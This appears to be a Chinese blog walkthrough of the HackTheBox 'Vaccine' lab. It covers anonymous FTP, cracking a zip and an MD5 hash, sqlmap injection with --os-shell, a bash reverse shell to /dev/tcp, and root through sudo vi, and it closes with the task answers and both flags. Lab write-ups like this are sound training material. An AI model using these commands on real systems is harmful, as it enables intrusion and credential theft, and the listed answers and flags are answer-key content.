HackTheBox-Starting Point--Tier 2---Vaccine


一 Vaccine 测试过程


1.1 打点

  1.端口扫描

nmap -sV -sC 10.129.191.63

在这里插入图片描述


1.1.1 FTP匿名登录


  2.FTP允许匿名登录,发现backup.zip

ftp 10.129.191.63

在这里插入图片描述

  解压backup.zip,但是需要密码:

在这里插入图片描述

3.使用john解密backup.zip

# 获得中间Hash文件
zip2john backup.zip > hashes

在这里插入图片描述

cat hashes

在这里插入图片描述

# 暴力破解hash
john -wordlist=rockyou.txt hashes

在这里插入图片描述
  使用获取到的密码解压backup.zip 密码:741852963

4.backup.zip文件信息泄漏

  解压完成后,发现index.php、style.css,查看index.php,发现用户名admin和密码hash

在这里插入图片描述

admin:2cb42f8734ea607eefed3b70af13bbd3

5.破解密码

  检测密码2cb42f8734ea607eefed3b70af13bbd3属于哪种hash

hashid 2cb42f8734ea607eefed3b70af13bbd3

在这里插入图片描述

  爆破hash密码,得到密码是qwerty789

echo '2cb42f8734ea607eefed3b70af13bbd3' > hash
hashcat -a 0 -m 0 hash rockyou.txt    

在这里插入图片描述


1.1.2 SQL注入


6.访问80端口,admin:qwerty789登录
在这里插入图片描述

在这里插入图片描述

7.搜索接口使用$searc变量,尝试对其进行注入
在这里插入图片描述

sqlmap -u 'http://10.129.191.63/dashboard.php?search=any+query' --cookie="PHPSESSID=3cir5tlpnugpfuqltp7be06o68" -batch

在这里插入图片描述

  存在注入漏洞,使用sqlmap的os-shell参数获取一个shell

sqlmap -u 'http://10.129.191.63/dashboard.php?search=any+query' --cookie="PHPSESSID=3cir5tlpnugpfuqltp7be06o68" -batch --os-shell

在这里插入图片描述

8.获取反弹shell

  开启监听:

ncat -lnvp 1234

  执行反弹shell:

bash -c "bash -i >& /dev/tcp/10.10.14.20/1234 0>&1"

在这里插入图片描述

在这里插入图片描述

  获取交互式shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

  获取用户flag:

在这里插入图片描述


1.2 权限提升


1.在postgres用户shell中寻找有用线索

  在/var/www/html目录下发现如下文件:

在这里插入图片描述

  查看dashboard.php文件发现:

在这里插入图片描述

2.使用postgres:P@s5w0rd!进行ssh登录

在这里插入图片描述

3.查看sudo权限

sudo -l

在这里插入图片描述

  输出显示 postgres用户权限下,可以使用sudo权限编辑pg_hba.conf文件。

4.编辑pg_hba.conf获取shell

# 打开pg_hba.conf
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# 输入,直接输入 : 进行输入,无须打开编辑模式
:set shell=/bin/sh

在这里插入图片描述

# 打开pg_hba.conf
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# 输入,直接输入 : 进行输入,无须打开编辑模式,编辑完成使用回车退出
:shell

  获取到root权限:

在这里插入图片描述
  查找flag:
在这里插入图片描述


二 题目


Tags

Web、Network、Vulnerability Assessment、Databases、Injection、Custom Applications、Protocols、Source Code Analysis、Apache、PostgreSQL、FTP、PHP、Reconnaissance、Password Cracking、SUDO Exploitation、SQL Injection、Remote Code Execution、Clear Text Credentials、Anonymous/Guest Access

译文:Web、Network、漏洞评估、数据库、注入、自定义应用程序、协议、源代码分析、Apache、PostgreSQL数据库、FTP、PHP、侦察、密码破解、SUDO 开发、SQL注入、远程代码执行、明文凭据、匿名访问

Connect

To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.

译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

SPAWN MACHINE

Spawn the target machine and the IP will show here.

译文:生成目标机器,IP 将显示在此处

TASK 1

Besides SSH and HTTP, what other service is hosted on this box?

译文:除了 SSH 和 HTTP 之外,这个盒子上还托管了哪些其他服务?

答:FTP

TASK 2


This service can be configured to allow login with any password for specific username. What is that username?

译文:此服务可以配置为允许使用特定用户名的任何密码登录。那个用户名是什么?

答:anonymous

TASK 3

What is the name of the file downloaded over this service?

译文:通过此服务下载的文件的名称是什么?

答:backup.zip

TASK 4

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

译文:John The Ripper 工具集附带了什么脚本,并从受密码保护的 zip 存档中以允许破解尝试的格式生成哈希值?

答:zip2john

TASK 5

What is the password for the admin user on the website?

译文:网站上管理员用户的密码是什么?

答:qwerty789

TASK 6

What option can be passed to sqlmap to try to get command execution via the sql injection?

译文:可以向 sqlmap 传递什么选项以尝试通过 sql 注入执行命令?

答:--os-shell

TASK 7

What program can the postgres user run as root using sudo?

译文:postgres 用户可以使用 sudo 以 root 身份运行什么程序?

答:vi

SUBMIT FLAG

Submit user flag

译文:用户flag

答:ec9b13ca4d6229cd5cc1e09980965bf7

SUBMIT FLAG

Submit root flag

译文:提交root flag

答:dd6e058e814260bc70e9bbdef2715849

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值